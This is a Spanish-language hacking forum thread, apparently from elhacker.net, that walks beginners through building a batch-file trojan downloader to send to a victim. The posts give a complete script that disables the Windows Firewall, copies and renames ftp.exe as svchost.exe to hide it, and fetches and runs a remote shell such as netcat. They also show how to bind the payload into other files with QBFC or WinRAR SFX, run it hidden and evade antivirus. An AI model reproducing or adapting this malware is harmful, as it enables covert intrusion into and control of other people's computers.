Hola -Lucas- , un saludo, Yo que tú revisaría ese código ... Por ejemplo,
[cite]net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"[/cite]

Con eso no cerrarías ningún Firewall, y si lo cierras, no sería en todos los equipos, además de que ese comando (Net start/stop) no es muy confiable que digamos, te presento al comando Netsh

You que tú lo usaría en mi código, Es seguro, es el núcleo de los Firewalls en Windows, y es funciona en todos lados, venga, te dejo la Sintáxis:

netsh FIREWALL set opmode mode = DISABLE Con ésto desactivas el Firewall.
netsh FIREWALL set opmode mode = ENABLE Con ésto lo activas de nuevo.

El Quick Batch File Compiler es un dolor de cabeza... además de que no crea Batches sino Exe's. al ejecutar algún archivo creado en él, sin tener la licencia, te salta un MessageBox diciéndote "Éste programa fue compilado con Q.B.F.C." y eso no es nada agradable para una Víctima...

Así que te presento a otro comando, START.
Sí, Start, no me estoy burlando de tí, verás, te dirijes bajo la shell al directorio donde está el batch que quieres ejecutar "En modo oculto", luego escribes:

C:\>start /b Archivo.bat y el archivo se ejecutará "En segundo plano"

Un saludo...

Hice un tema nuevo para el uso de Q.B.F.C. como Binder ya que no seguía al tema pertinente.
Disculpen.

link del post: http://foro.elhacker.net/index.php/topic,187349.0.html

Ver:
"Nuevo comando nirmcd - USO": http://foro.elhacker.net/index.php/topic,187364.0.html

"Creando un Downloader en Batch": http://foro.elhacker.net/index.php/topic,186544.0.html

"Binder Quick Batch File Compiler": http://foro.elhacker.net/index.php/topic,187349.0.html

"Detener el Firewall de Windows": http://foro.elhacker.net/index.php/topic,183228.0.html

"Instalar programas "sin instalar"-Jugando con el Registro de Windows": http://foro.elhacker.net/index.php/topic,183341.0.html

---

sofdates...

1- Sí, el primer código es el que se envía a la víctima.

2- No se renombra ningún archivo. El archivo dfshell.dll es un archivo que contiene solo las instrucciones que deberá ejecutar el comando ftp. Es por eso que pongo ftp -s:c:\windows\downloads\dfshell.dll (Esto es para que el comando ftp sepa donde están las instrucciones que deberá seguir. Si tenés dudas con respecto a esto ingresa a tu shell y tipeá ftp /?).

3- Sí. Al hacer el SFX con winrar le digo que descomprima todo en la carpeta system32. Aclaro que usé este SFX como un joiner: para hacer esto le instruyo al SFX que se ejecute en modo oculto y que ejecute el bat al final de la descompresión. El bat del SFX sería el segundo código que expuse en este post.
Con respecto de cómo usar al winrar como joiner, podés bajarte el tutorial que hizo Köbe desde http://414141.iespana.es.

4- El manual que hice con respecto al Quick Batch File Compiler.: Podés seguir todos los pasos que se detallan ya que lo hice de manera que sea muy fácil entender. Ah... una cosa más... podés obviar el uso del SFX y usas el QBFC como joiner (de hecho, te recomiendo que uses el QBFC  ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos.

Siguiendo el ejemplo que planteas vos:

@echo off
start %Systemroot%\System32\bat.ini 

Esto sería inválido si ingresas este código en QBFC, ya que el QBFC "extrae de manera temporaria" los archivos juntados. Lo correcto sería:

@echo off
start %MYFILES%\archivo1_juntado.extension
start %MYFILES%\archivo2_juntado.extension
exit

Esto es para ejecutar los archivos que le hayas agregado o juntado al QBFC.

Espero que te haya quedado claro, pero si no es así, espero tus dudas para intentar aclarártelas.

A los demás. Si ven que me he equivocado en algo haganmelo saber, o si quieren mejorar este post pues mucho mejor todavía.

Gracias softdates por postear. Saludos.

Saludos a toda la comunidad.

recomiendo que uses el QBFC   ya que podés ejecutar todo de manera oculta). Sólo tendrías que cambiar el código del Batch para acondicionarlo al QBFC ya que para ejecutar los archivos que hayas juntado tendrás que usar la variable %MYFILES% y luego el nombre del archivo o los archivos.


que cambio en bat?.

Como esto del Downloader no trae "mucha ciencia" que digamos, pretendo terminar este tutorial con una última sugerencia.

Supongamos que le enviamos el Downloader a la victima, y esta la ejecuta. Puede pasar que se le ocurra echar un vistazo a la lista de procesos y ver el proceso " ftp.exe " ejecutandose. Y quizá lo cierre, y ya no habrá posibilidad de que se descargue el archivo infectado. (Que bajón!!!!!! ). Je

Lo que nos queda hacer es renombrar tal archivo. (Esto se haría en el primer código que es el que se le envía a la victima). Para renombrar el archivo ftp.exe deberiamos agregarle una línea al comienzo de nuestro código que cambie el nombre de tal. Podríamos también copiar el archivo ftp.exe a otro directorio y recién renombrarlo. (Esto para evitar que si la victima hace uso frecuente del ftp.exe como comandos no encuentre tal archivos y comience a sospechar, cosa que puede suceder...).

Sigamos. Lo que haremos será lo siguiente (siguiendo el ejemplo del netcat del principio de este tutorial):

En azul: Líneas agregadas;
En verde: Líneas modificadas.

---

@echo off
if exist C:\Windows\downloads exit

md "%systemroot%\system32\41467"
copy %systemroot%\system32\ftp.exe %systemroot%\system32\41467
ren %systemroot%\system32\41467\ftp.exe svchost.exe

net stop "Firewall de Windows/Conexi¢n compartida a Internet (ICS)"
md "C:\Windows\downloads"
echo open>"c:\windows\downloads\dfshell.dll"
echo HOST_SERVER_FTP>>"c:\windows\downloads\dfshell.dll"
echo USUARIO>>"c:\windows\downloads\dfshell.dll"
echo PASSWORD>>"c:\windows\downloads\dfshell.dll"
echo lcd ..>>"c:\windows\downloads\dfshell.dll"
echo lcd "c:\windows">>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get OPENSHELL.exe>>"c:\windows\downloads\dfshell.dll"
echo binary>>"c:\windows\downloads\dfshell.dll"
echo get semaforo.txt>>"c:\Windows\downloads\dfshell.dll"
echo bye>>"c:\windows\downloads\dfshell.dll"
%systemroot%\system32\41467\svchost -s:c:\windows\downloads\dfshell.dll
if exist c:\windows\semaforo.txt start c:\windows\OPENSHELL.exe
del c:\windows\downloads\dfshell.dll
exit

---

Lo que hice fue agregar algunas lineas más al código. En primer lugar creo una carpeta llamada 41467 (le pueden poner cualquier otro nombre) en el directorio %Systemroot%\system que en la mayoría de los casos correspondería al directorio C:\Windows\system32\41467. Luego copiamos el archivo ftp.exe y lo pasamos a la carpeta que creamos. Una vez que se haya copiado ftp.exe a la carpeta creada procedemos a renombrar este archivo con el comando ren cuya sintaxis es:


En nuestro caso usamos: ren %systemroot%\system32\41467\ftp.exe svchost.exe, donde cambiamos el nombre del archivo ft.exe por svchost.exe para disimularlo en la lista de procesos.

Más abajo en el código le damos la instruccion para que ejecute el ftp (ahora llamado svchost.exe). Pero con la diferencia de que ahora le decimos donde esta guardado este nuevo archivo. (%Systemroot%\system32\41467\svchost.exe) que en la mayoría de los casos es C:\Windows\system32\41467\svchost.exe. (Obviamnte, siguiendo el ejemplo).

Eso es todo lo que tendremos que hacer...

Al otro código que se descargaría no lo tocamos para nada. Solo se modifica el Downloader, que es el que expuse recién.

---

Sí, es verdad. Esto pude haberlo explicado en unas cuantas lineas, pero lo hago de esta manera para que los que se están iniciando en el hacking puedan entenderlo mejor.

---

Concluyendo:

En este tutorial vimos como realizar un downloader a través del comando ftp. Para ello usé como ejemplo al netcat ya que es conocido por todos (o por la mayoria) pero es fácilmente adaptable a cualquier otro programa que funcione como server, solo deberán modificar las líneas correspondientes y listo. En mi caso lo hice no tan solo con el netcat, sino también con el vnc, radmin, serv-u, entre otros.
Asi que como verán, con todo lo visto hasta acá y un poco de conocimientos en el lenguaje batch pueden adaptar estos codigos a cualquier server de algun troyano o lo que quieran. Bueno, pero eso se los dejo a su imaginación y necesidad.
Espero que les sea de mucha utilidad todo esto.

Espero que con esto haya quedado completo el tutorial. Pero como siempre hay algunas dudas que quedan dando vueltas por ahi yo no tengo ningun tipo de problema en intentar aclarárselas. Y obviamente, si alguien sugiere algo mejor, corrige o hace cualquier tipo de críticas constructivas, por favor, posteenlas.

---

---

---

Buenas preguntas. En el ejemplo que di solo funciona para saltarse el Firewall de Windows. Para poder saltar firewalls que no sean el de windows, tendríamos que realizar una inyeccion (si no me equivoco) en algun proceso activo o dll. De manera que el firewall no detecte la actividad de nuestro troyano. Pero para esto hay otros post donde se explica, pero ya requieres de conocimientos de programacion... . Aunque el netcat nos permite realizar una conexion inversa volteada, como lo dice en el manual de zhyzura. Busca en el foro acerca de este manual o fijate en "Jugando con netcat".

En cuanto a los antivirus... si, quizas el netcat sea detectado por algunos antivirus como codigo malicioso. Por eso es que decia que se pueden probar distintos tipos de servers, como el vnc, o algun servidor ftp como el serv-u, etc...

Lo mejor en estos casos es investigar la PC a atacar para conocer mejor su funcionamiento y cosas asi que nos seran utiles a la hora de planificar nuestra "movida". Esto es solo un ejemplo, no quiere decir que sea el unico metodo... yo solo he mostrado esto y sirve mucho...

Saludos newbie-hack.